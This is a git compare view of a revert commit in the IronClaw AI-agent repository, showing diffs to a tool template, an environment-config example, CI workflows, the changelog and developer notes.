Compare commits

..
Author SHA1 Message Date
serrrfirat 0f347d1f63 Revert "fix: remove auto-proceed fake user message injection from agent loop (#255)"
This reverts commit 8a4f3b6f88.
2026-02-20 12:41:02 +04:00
285 changed files with 11259 additions and 64460 deletions
+2 -2
View File
@@ -286,8 +286,8 @@ impl Tool for <Name>Tool {
false // Set true if tool processes external data
}
fn requires_approval(&self, _params: &serde_json::Value) -> crate::tools::tool::ApprovalRequirement {
crate::tools::tool::ApprovalRequirement::Never // Set to UnlessAutoApproved or Always as needed
fn requires_approval(&self) -> bool {
false // Set true if tool is destructive or contacts external services
}
}
```
+12 -40
View File
@@ -6,19 +6,21 @@ DATABASE_POOL_SIZE=10
# LLM_BACKEND=nearai # default
# Possible values: nearai, ollama, openai_compatible, openai, anthropic, tinfoil
# === NEAR AI (Chat Completions API) ===
# Two auth modes:
# 1. Session token (default): Uses browser OAuth (GitHub/Google) on first run.
# Session token stored in ~/.ironclaw/session.json automatically.
# Base URL defaults to https://private.near.ai
# 2. API key: Set NEARAI_API_KEY to use API key auth from cloud.near.ai.
# Base URL defaults to https://cloud-api.near.ai
# === NEAR AI Chat (Responses API, session token auth) ===
# Default mode. Uses browser OAuth (GitHub/Google) on first run.
# Session token stored in ~/.ironclaw/session.json automatically.
# For hosting providers: set NEARAI_SESSION_TOKEN env var directly.
NEARAI_MODEL=zai-org/GLM-5-FP8
NEARAI_BASE_URL=https://private.near.ai
NEARAI_AUTH_URL=https://private.near.ai
# NEARAI_SESSION_TOKEN=sess_... # hosting providers: set this
# NEARAI_SESSION_PATH=~/.ironclaw/session.json # optional, default shown
# NEARAI_API_KEY=... # API key from cloud.near.ai
# === NEAR AI Cloud (Chat Completions API, API key auth) ===
# Auto-selected when NEARAI_API_KEY is set. Get a key from cloud.near.ai.
# NEARAI_API_KEY=...
# NEARAI_BASE_URL=https://cloud-api.near.ai # default for cloud mode
# NEARAI_API_MODE=chat_completions # auto-detected from API key
# Local LLM Providers (Ollama, LM Studio, vLLM, LiteLLM)
@@ -32,32 +34,13 @@ NEARAI_AUTH_URL=https://private.near.ai
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=http://localhost:1234/v1
# LLM_API_KEY=sk-... # optional for local servers
# Custom HTTP headers for OpenAI-compatible providers
# Format: comma-separated key:value pairs
# LLM_EXTRA_HEADERS=HTTP-Referer:https://github.com/nearai/ironclaw,X-Title:ironclaw
# === OpenRouter (300+ models via OpenAI-compatible) ===
# LLM_MODEL=anthropic/claude-sonnet-4 # see openrouter.ai/models for IDs
# === OpenRouter (via OpenAI-compatible) ===
# LLM_MODEL=anthropic/claude-sonnet-4
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=https://openrouter.ai/api/v1
# LLM_API_KEY=sk-or-...
# LLM_EXTRA_HEADERS=HTTP-Referer:https://myapp.com,X-Title:MyApp
# === Together AI (via OpenAI-compatible) ===
# LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=https://api.together.xyz/v1
# LLM_API_KEY=...
# === Fireworks AI (via OpenAI-compatible) ===
# LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=https://api.fireworks.ai/inference/v1
# LLM_API_KEY=fw_...
# For full provider setup guide see docs/LLM_PROVIDERS.md
# Channel Configuration
# CLI is always enabled
@@ -75,17 +58,6 @@ HTTP_HOST=0.0.0.0
HTTP_PORT=8080
HTTP_WEBHOOK_SECRET=your-webhook-secret
# Signal Channel (optional, requires signal-cli daemon --http)
# SIGNAL_HTTP_URL=http://127.0.0.1:8080
# SIGNAL_ACCOUNT=+1234567890
# SIGNAL_ALLOW_FROM=+1234567890,uuid:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx # comma-separated, * for all, empty = deny/require pairing
# SIGNAL_ALLOW_FROM_GROUPS= # comma-separated group IDs, * for all, empty = deny all groups
# SIGNAL_DM_POLICY=pairing # open | allowlist | pairing
# SIGNAL_GROUP_POLICY=allowlist # allowlist | open | disabled
# SIGNAL_GROUP_ALLOW_FROM= # comma-separated, empty = inherit from ALLOW_FROM
# SIGNAL_IGNORE_ATTACHMENTS=false
# SIGNAL_IGNORE_STORIES=true
# Agent Settings
AGENT_NAME=ironclaw
AGENT_MAX_PARALLEL_JOBS=5
-1
View File
@@ -1 +0,0 @@
tests/test-pages/**/*.html linguist-generated=true
+14 -50
View File
@@ -3,56 +3,20 @@ on:
pull_request:
jobs:
format:
name: Formatting
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: rustfmt
- name: Check formatting
run: cargo fmt --all -- --check
clippy:
name: Clippy (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: clippy
- uses: Swatinem/rust-cache@v2
with:
key: clippy-${{ matrix.name }}
- name: Check lints
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
# Roll-up job for branch protection
code-style:
codestyle:
name: Code Style (fmt + clippy)
runs-on: ubuntu-latest
if: always()
needs: [format, clippy]
steps:
- run: |
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: rustfmt, clippy
- uses: Swatinem/rust-cache@v2
- name: Check formatting
run: |
cargo fmt --all -- --check
- name: Check lints (cargo clippy)
run: cargo clippy -- -D warnings
-50
View File
@@ -1,50 +0,0 @@
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v -x --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
+4 -180
View File
@@ -89,12 +89,10 @@ jobs:
# Build and packages all the platform-specific things
build-local-artifacts:
name: build-local-artifacts (${{ join(matrix.targets, ', ') }})
# Wait for WASM extensions so we can patch manifests with SHA256 checksums
# before build.rs bakes them into the embedded catalog.
# Let the initial task tell us to not run (currently very blunt)
needs:
- plan
- build-wasm-extensions
if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }}
if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') }}
strategy:
fail-fast: false
# Target platforms/runners are computed by dist in create-release.
@@ -141,28 +139,6 @@ jobs:
pattern: artifacts-*
path: target/distrib/
merge-multiple: true
- name: Patch manifests with WASM checksums
if: ${{ needs.plan.outputs.publishing == 'true' }}
shell: bash
run: |
CHECKSUMS="target/distrib/checksums.txt"
if [ ! -f "$CHECKSUMS" ]; then
echo "No checksums.txt found, skipping manifest patching"
exit 0
fi
while IFS= read -r line; do
sha256=$(echo "$line" | awk '{print $1}')
filename=$(echo "$line" | awk '{print $2}')
name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//')
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
if [ -f "$manifest" ]; then
jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
echo "Patched $manifest with sha256=$sha256"
fi
done
done < "$CHECKSUMS"
- name: Install dependencies
run: |
${{ matrix.packages_install }}
@@ -238,113 +214,14 @@ jobs:
path: |
${{ steps.cargo-dist.outputs.paths }}
${{ env.BUILD_MANIFEST_NAME }}
# Build WASM extension bundles (tar.gz with .wasm + .capabilities.json)
build-wasm-extensions:
needs:
- plan
if: ${{ needs.plan.outputs.publishing == 'true' }}
runs-on: "ubuntu-22.04"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
submodules: recursive
- name: Install Rust toolchain + wasm target
run: |
rustup target add wasm32-wasip2
cargo install cargo-component --locked || true
- uses: swatinem/rust-cache@v2
with:
key: wasm-extensions
- name: Build and package WASM extensions
shell: bash
run: |
set -euo pipefail
mkdir -p target/wasm-bundles
# Process each manifest in registry/tools/ and registry/channels/
for manifest in registry/tools/*.json registry/channels/*.json; do
[ -f "$manifest" ] || continue
name=$(jq -r '.name' "$manifest")
source_dir=$(jq -r '.source.dir' "$manifest")
caps_file=$(jq -r '.source.capabilities' "$manifest")
crate_name=$(jq -r '.source.crate_name' "$manifest")
if [ ! -d "$source_dir" ]; then
echo "::warning::Source dir '$source_dir' not found for '$name', skipping"
continue
fi
echo "=== Building $name from $source_dir ==="
# Build WASM component
cargo component build --release --manifest-path "$source_dir/Cargo.toml" || {
echo "::warning::Build failed for '$name', skipping"
continue
}
# Find the built WASM file (Cargo uses underscores in artifact names)
wasm_artifact="${crate_name//-/_}"
wasm_path=""
for target_dir in wasm32-wasip2 wasm32-wasip1 wasm32-wasi; do
candidate="$source_dir/target/$target_dir/release/${wasm_artifact}.wasm"
if [ -f "$candidate" ]; then
wasm_path="$candidate"
break
fi
done
if [ -z "$wasm_path" ]; then
echo "::warning::No WASM output found for '$name', skipping"
continue
fi
# Copy files with standardized names for the archive
cp "$wasm_path" "target/wasm-bundles/${name}.wasm"
caps_path="$source_dir/$caps_file"
if [ -f "$caps_path" ]; then
cp "$caps_path" "target/wasm-bundles/${name}.capabilities.json"
else
echo "::warning::No capabilities file at '$caps_path' for '$name'"
fi
# Create tar.gz bundle
bundle="target/wasm-bundles/${name}-wasm32-wasip2.tar.gz"
(cd target/wasm-bundles && if [ -f "${name}.capabilities.json" ]; then tar czf "${name}-wasm32-wasip2.tar.gz" "${name}.wasm" "${name}.capabilities.json"; else tar czf "${name}-wasm32-wasip2.tar.gz" "${name}.wasm"; fi)
# Compute SHA256
sha256=$(sha256sum "$bundle" | cut -d' ' -f1)
echo "$sha256 ${name}-wasm32-wasip2.tar.gz" >> target/wasm-bundles/checksums.txt
# Clean up intermediate files
rm -f "target/wasm-bundles/${name}.wasm" "target/wasm-bundles/${name}.capabilities.json"
echo " -> $bundle ($sha256)"
done
echo "=== WASM bundles built ==="
ls -la target/wasm-bundles/
- name: "Upload WASM bundles"
uses: actions/upload-artifact@v4
with:
name: artifacts-wasm-extensions
path: |
target/wasm-bundles/*.tar.gz
target/wasm-bundles/checksums.txt
# Determines if we should publish/announce
host:
needs:
- plan
- build-local-artifacts
- build-global-artifacts
- build-wasm-extensions
# Only run if we're "publishing", and only if plan, local, global, and wasm didn't fail (skipped is fine)
if: ${{ always() && needs.plan.result == 'success' && needs.plan.outputs.publishing == 'true' && (needs.build-global-artifacts.result == 'skipped' || needs.build-global-artifacts.result == 'success') && (needs.build-local-artifacts.result == 'skipped' || needs.build-local-artifacts.result == 'success') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }}
# Only run if we're "publishing", and only if plan, local and global didn't fail (skipped is fine)
if: ${{ always() && needs.plan.result == 'success' && needs.plan.outputs.publishing == 'true' && (needs.build-global-artifacts.result == 'skipped' || needs.build-global-artifacts.result == 'success') && (needs.build-local-artifacts.result == 'skipped' || needs.build-local-artifacts.result == 'success') }}
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
runs-on: "ubuntu-22.04"
@@ -404,59 +281,6 @@ jobs:
gh release create "${{ needs.plan.outputs.tag }}" --target "$RELEASE_COMMIT" $PRERELEASE_FLAG --title "$ANNOUNCEMENT_TITLE" --notes-file "$RUNNER_TEMP/notes.txt" artifacts/*
# Commit patched manifest SHA256 checksums back to main so the repo
# stays in sync with the released artifacts.
update-registry-checksums:
needs:
- plan
- host
- build-wasm-extensions
if: ${{ always() && needs.host.result == 'success' && needs.build-wasm-extensions.result == 'success' }}
runs-on: "ubuntu-22.04"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
ref: main
- name: Fetch WASM checksums
uses: actions/download-artifact@v4
with:
name: artifacts-wasm-extensions
path: target/wasm-bundles/
- name: Patch manifests with SHA256
shell: bash
run: |
CHECKSUMS="target/wasm-bundles/checksums.txt"
if [ ! -f "$CHECKSUMS" ]; then
echo "No checksums.txt found"
exit 0
fi
while IFS= read -r line; do
sha256=$(echo "$line" | awk '{print $1}')
filename=$(echo "$line" | awk '{print $2}')
name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//')
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
if [ -f "$manifest" ]; then
jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
echo "Patched $manifest with sha256=$sha256"
fi
done
done < "$CHECKSUMS"
- name: Commit updated manifests
run: |
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add registry/
if git diff --cached --quiet; then
echo "No manifest changes to commit"
else
git commit -m "chore: update WASM artifact SHA256 checksums [skip ci]"
git push
fi
announce:
needs:
- plan
+9 -57
View File
@@ -7,63 +7,15 @@ on:
jobs:
tests:
name: Tests (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
- uses: Swatinem/rust-cache@v2
with:
key: ${{ matrix.name }}
- name: Run Tests
run: cargo test ${{ matrix.flags }} -- --nocapture
telegram-tests:
name: Telegram Channel Tests
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
- uses: Swatinem/rust-cache@v2
- name: Run Telegram Channel Tests
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
# Roll-up job for branch protection
run-tests:
name: Run Tests
runs-on: ubuntu-latest
if: always()
needs: [tests, telegram-tests, docker-build]
steps:
- run: |
if [[ "${{ needs.tests.result }}" != "success" || "${{ needs.telegram-tests.result }}" != "success" || "${{ needs.docker-build.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
- uses: Swatinem/rust-cache@v2
- name: Run Tests
run: cargo test --all-features -- --nocapture
-156
View File
@@ -7,162 +7,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
## [Unreleased]
## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02
### Added
- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438))
- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435))
- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436))
- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437))
- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399))
- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404))
- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398))
- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382))
- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397))
- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375))
### Fixed
- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421))
- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446))
- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428))
- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432))
- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401))
- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427))
- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433))
- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430))
- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431))
- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426))
- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424))
- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423))
- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422))
- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434))
- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391))
- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372))
- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390))
### Other
- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445))
- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371))
- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353))
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
### Added
- *(web)* improve WASM channel setup flow ([#380](https://github.com/nearai/ironclaw/pull/380))
- *(web)* inline tool activity cards with auto-collapsing ([#376](https://github.com/nearai/ironclaw/pull/376))
- *(web)* display logs newest-first in web gateway UI ([#369](https://github.com/nearai/ironclaw/pull/369))
- *(signal)* tool approval workflow and status updates ([#350](https://github.com/nearai/ironclaw/pull/350))
- add OpenRouter preset to setup wizard ([#270](https://github.com/nearai/ironclaw/pull/270))
- *(channels)* add native Signal channel via signal-cli HTTP daemon ([#271](https://github.com/nearai/ironclaw/pull/271))
### Fixed
- correct MCP registry URLs and remove non-existent Google endpoints ([#370](https://github.com/nearai/ironclaw/pull/370))
- resolve_thread adopts existing session threads by UUID ([#377](https://github.com/nearai/ironclaw/pull/377))
- resolve telegram/slack name collision between tool and channel registries ([#346](https://github.com/nearai/ironclaw/pull/346))
- make onboarding installs prefer release artifacts with source fallback ([#323](https://github.com/nearai/ironclaw/pull/323))
- copy missing files in Dockerfile to fix build ([#322](https://github.com/nearai/ironclaw/pull/322))
- fall back to build-from-source when extension download fails ([#312](https://github.com/nearai/ironclaw/pull/312))
### Other
- Add --version flag with clap built-in support and test ([#342](https://github.com/nearai/ironclaw/pull/342))
- Update FEATURE_PARITY.md ([#337](https://github.com/nearai/ironclaw/pull/337))
- add brew install ironclaw instructions ([#310](https://github.com/nearai/ironclaw/pull/310))
- Fix skills system: enable by default, fix registry and install ([#300](https://github.com/nearai/ironclaw/pull/300))
## [0.11.1](https://github.com/nearai/ironclaw/compare/v0.11.0...v0.11.1) - 2026-02-23
### Other
- Ignore out-of-date generated CI so custom release.yml jobs are allowed
## [0.11.0](https://github.com/nearai/ironclaw/compare/v0.10.0...v0.11.0) - 2026-02-23
### Fixed
- auto-compact and retry on ContextLengthExceeded ([#315](https://github.com/nearai/ironclaw/pull/315))
### Other
- *(README)* Adding badges to readme ([#316](https://github.com/nearai/ironclaw/pull/316))
- Feat/completion ([#240](https://github.com/nearai/ironclaw/pull/240))
## [0.10.0](https://github.com/nearai/ironclaw/compare/v0.9.0...v0.10.0) - 2026-02-22
### Added
- update dashboard favicon ([#309](https://github.com/nearai/ironclaw/pull/309))
- add web UI test skill for Chrome extension ([#302](https://github.com/nearai/ironclaw/pull/302))
- implement FullJob routine mode with scheduler dispatch ([#288](https://github.com/nearai/ironclaw/pull/288))
- hot-activate WASM channels, channel-first prompts, unified artifact resolution ([#297](https://github.com/nearai/ironclaw/pull/297))
- add pairing/permission system to all WASM channels and fix extension registry ([#286](https://github.com/nearai/ironclaw/pull/286))
- group chat privacy, channel-aware prompts, and safety hardening ([#285](https://github.com/nearai/ironclaw/pull/285))
- embedded registry catalog and WASM bundle install pipeline ([#283](https://github.com/nearai/ironclaw/pull/283))
- show token usage and cost tracker in gateway status popover ([#284](https://github.com/nearai/ironclaw/pull/284))
- support custom HTTP headers for OpenAI-compatible provider ([#269](https://github.com/nearai/ironclaw/pull/269))
- add smart routing provider for cost-optimized model selection ([#281](https://github.com/nearai/ironclaw/pull/281))
### Fixed
- persist user message at turn start before agentic loop ([#305](https://github.com/nearai/ironclaw/pull/305))
- block send until thread is selected ([#306](https://github.com/nearai/ironclaw/pull/306))
- reload chat history on SSE reconnect ([#307](https://github.com/nearai/ironclaw/pull/307))
- map Esc to interrupt and Ctrl+C to graceful quit ([#267](https://github.com/nearai/ironclaw/pull/267))
### Other
- Fix tool schema OpenAI compatibility ([#301](https://github.com/nearai/ironclaw/pull/301))
- simplify config resolution and consolidate main.rs init ([#287](https://github.com/nearai/ironclaw/pull/287))
- Update image source in README.md
- Add files via upload
- remove ExtensionSource::Bundled, use download-only install for WASM channels ([#293](https://github.com/nearai/ironclaw/pull/293))
- allow OAuth callback to work on remote servers (fixes #186) ([#212](https://github.com/nearai/ironclaw/pull/212))
- add rate limiting for built-in tools (closes #171) ([#276](https://github.com/nearai/ironclaw/pull/276))
- add LLM providers guide (OpenRouter, Together AI, Fireworks, Ollama, vLLM) ([#193](https://github.com/nearai/ironclaw/pull/193))
- Feat/html to markdown #106 ([#115](https://github.com/nearai/ironclaw/pull/115))
- adopt agent-market design language for web UI ([#282](https://github.com/nearai/ironclaw/pull/282))
- speed up startup from ~15s to ~2s ([#280](https://github.com/nearai/ironclaw/pull/280))
- consolidate tool approval into single param-aware method ([#274](https://github.com/nearai/ironclaw/pull/274))
## [0.9.0](https://github.com/nearai/ironclaw/compare/v0.8.0...v0.9.0) - 2026-02-21
### Added
- add TEE attestation shield to web gateway UI ([#275](https://github.com/nearai/ironclaw/pull/275))
- configurable tool iterations, auto-approve, and policy fix ([#251](https://github.com/nearai/ironclaw/pull/251))
### Fixed
- add X-Accel-Buffering header to SSE endpoints ([#277](https://github.com/nearai/ironclaw/pull/277))
## [0.8.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.7.0...ironclaw-v0.8.0) - 2026-02-20
### Added
- extension registry with metadata catalog and onboarding integration ([#238](https://github.com/nearai/ironclaw/pull/238))
- *(models)* add GPT-5.3 Codex, full GPT-5.x family, Claude 4.x series, o4-mini ([#197](https://github.com/nearai/ironclaw/pull/197))
- wire memory hygiene into the heartbeat loop ([#195](https://github.com/nearai/ironclaw/pull/195))
### Fixed
- persist WASM channel workspace writes across callbacks ([#264](https://github.com/nearai/ironclaw/pull/264))
- consolidate per-module ENV_MUTEX into crate-wide test lock ([#246](https://github.com/nearai/ironclaw/pull/246))
- remove auto-proceed fake user message injection from agent loop ([#255](https://github.com/nearai/ironclaw/pull/255))
- onboarding errors reset flow and remote server auth (#185, #186) ([#248](https://github.com/nearai/ironclaw/pull/248))
- parallelize tool call execution via JoinSet ([#219](https://github.com/nearai/ironclaw/pull/219)) ([#252](https://github.com/nearai/ironclaw/pull/252))
- prevent pipe deadlock in shell command execution ([#140](https://github.com/nearai/ironclaw/pull/140))
- persist turns after approval and add agent-level tests ([#250](https://github.com/nearai/ironclaw/pull/250))
### Other
- add automated PR labeling system ([#253](https://github.com/nearai/ironclaw/pull/253))
- update CLAUDE.md for recently merged features ([#183](https://github.com/nearai/ironclaw/pull/183))
## [0.7.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.6.0...ironclaw-v0.7.0) - 2026-02-19
### Added
+10 -17
View File
@@ -32,7 +32,7 @@
# Format code
cargo fmt
# Lint (fix ALL warnings before committing, including pre-existing ones)
# Lint (address warnings before committing)
cargo clippy --all --benches --tests --examples --all-features
# Run all tests
@@ -120,7 +120,8 @@ src/
├── llm/ # LLM integration (multi-provider)
│ ├── mod.rs # Provider factory, LlmBackend enum
│ ├── provider.rs # LlmProvider trait, message types
│ ├── nearai_chat.rs # NEAR AI Chat Completions provider (session token + API key auth)
│ ├── nearai.rs # NEAR AI Responses API provider
│ ├── nearai_chat.rs # NEAR AI Chat Completions fallback
│ ├── reasoning.rs # Planning, tool selection, evaluation
│ ├── session.rs # Session token management with auto-renewal
│ ├── circuit_breaker.rs # Circuit breaker for provider failures
@@ -321,10 +322,7 @@ cargo check --all-features # all features
```
Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
**Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind — treat `cargo clippy` output as a zero-tolerance gate.
**Mechanical verification before committing:** Run these checks on changed files before committing:
- `cargo clippy --all --benches --tests --examples --all-features` -- zero warnings
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
- `grep -rn 'super::' <files>` -- use `crate::` imports
- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
@@ -341,12 +339,13 @@ LIBSQL_PATH=~/.ironclaw/ironclaw.db # libSQL local path (default)
# LIBSQL_AUTH_TOKEN=xxx # Required with LIBSQL_URL
# NEAR AI (when LLM_BACKEND=nearai, the default)
# Two auth modes: session token (default) or API key
# Session token auth (default): uses browser OAuth on first run
NEARAI_SESSION_TOKEN=sess_... # hosting providers: set this
# Two modes: "NEAR AI Chat" (session token) or "NEAR AI Cloud" (API key)
# NEAR AI Chat (Responses API, default):
NEARAI_SESSION_TOKEN=sess_... # session token for chat-api
NEARAI_BASE_URL=https://private.near.ai
# API key auth: set NEARAI_API_KEY, base URL defaults to cloud-api.near.ai
# NEAR AI Cloud (Chat Completions API, auto-selected when API key is set):
# NEARAI_API_KEY=... # API key from cloud.near.ai
# NEARAI_BASE_URL=https://cloud-api.near.ai
NEARAI_MODEL=claude-3-5-sonnet-20241022
# Agent settings
@@ -409,13 +408,11 @@ TINFOIL_MODEL=kimi-k2-5 # Default model
IronClaw supports multiple LLM backends via the `LLM_BACKEND` env var: `nearai` (default), `openai`, `anthropic`, `ollama`, `openai_compatible`, and `tinfoil`.
**NEAR AI** -- Uses the Chat Completions API with dual auth support. Session token auth (default): authenticates with session tokens (`sess_xxx`) obtained via browser OAuth (GitHub/Google), base URL defaults to `https://private.near.ai`. API key auth: set `NEARAI_API_KEY` (from `cloud.near.ai`), base URL defaults to `https://cloud-api.near.ai`. Both modes use the same Chat Completions endpoint. Tool messages are flattened to plain text for compatibility. Set `NEARAI_SESSION_TOKEN` env var for hosting providers that inject tokens via environment.
**NEAR AI Chat** -- Uses the NEAR AI Responses API (`https://private.near.ai/v1/responses`). Authenticates with session tokens (`sess_xxx`) obtained via browser OAuth (GitHub/Google). Supports response chaining (delta-only follow-up messages) for efficient multi-turn conversations. This is the default mode when no `NEARAI_API_KEY` is set. Set `NEARAI_SESSION_TOKEN` env var for hosting providers that inject tokens via environment. Configure with `NEARAI_BASE_URL` (default: `https://private.near.ai`).
**NEAR AI Cloud** -- Uses the OpenAI-compatible Chat Completions API (`https://cloud-api.near.ai/v1/chat/completions`). Authenticates with API keys from `cloud.near.ai`. Auto-selected when `NEARAI_API_KEY` is set (or explicitly via `NEARAI_API_MODE=chat_completions`). Tool messages are flattened to plain text for compatibility. Configure with `NEARAI_API_KEY` and `NEARAI_BASE_URL` (default: `https://cloud-api.near.ai`).
**OpenAI-compatible** -- Any endpoint that speaks the OpenAI API (vLLM, LiteLLM, OpenRouter, etc.). Configure with `LLM_BASE_URL`, `LLM_API_KEY` (optional), `LLM_MODEL`. Set `LLM_EXTRA_HEADERS` to inject custom HTTP headers into every request (format: `Key:Value,Key2:Value2`), useful for OpenRouter attribution headers like `HTTP-Referer` and `X-Title`.
